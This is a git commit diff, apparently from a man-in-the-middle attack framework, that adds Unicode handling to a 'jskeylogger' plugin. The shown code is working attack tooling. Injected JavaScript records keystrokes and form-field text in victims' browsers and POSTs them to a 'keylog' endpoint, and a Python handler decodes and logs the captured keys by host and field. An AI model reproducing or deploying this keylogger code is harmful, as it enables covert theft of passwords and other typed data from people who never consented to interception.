Add unicode support for jskeylogger plugin, fixes #56

This commit is contained in:
HAMIDx9 2015-08-24 04:49:29 +04:30
parent 05588febef
commit 752fafaf4b
2 changed files with 7 additions and 7 deletions

View file

@ -64,7 +64,7 @@ function function2(e)
if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
{
andxhr(var3.toString(16), srcname);
andxhr(encodeURIComponent(var3), srcname);
}
}
@ -85,7 +85,7 @@ function function1(e)
var3 = (e) ? e.keyCode : e.which;
if (var3 == 9 || var3 == 8 || var3 == 13)
{
andxhr(var3.toString(16), srcname);
andxhr(encodeURIComponent(var3), srcname);
}
else if (var3 == 0)
{
@ -93,7 +93,7 @@ function function1(e)
text = document.getElementById(id).value;
if (text.length != 0)
{
andxhr(text.toString(16), srcname);
andxhr(encodeURIComponent(text), srcname);
}
}
@ -107,7 +107,7 @@ function andxhr(key, inputName)
}
var2= var2 + key + ",";
xhr.open("POST", "keylog", true);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8");
xhr.send(var2 + '&&' + inputName);
if (key == 13 || var2.length > 3000)

View file

@ -52,11 +52,11 @@ class JSKeylogger(Inject, Plugin):
nice = ''
else:
try:
nice += n.decode('hex')
nice += unichr(int(n))
except:
self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)
self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
self.clientlog.info(u"Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
def options(self, options):
pass
pass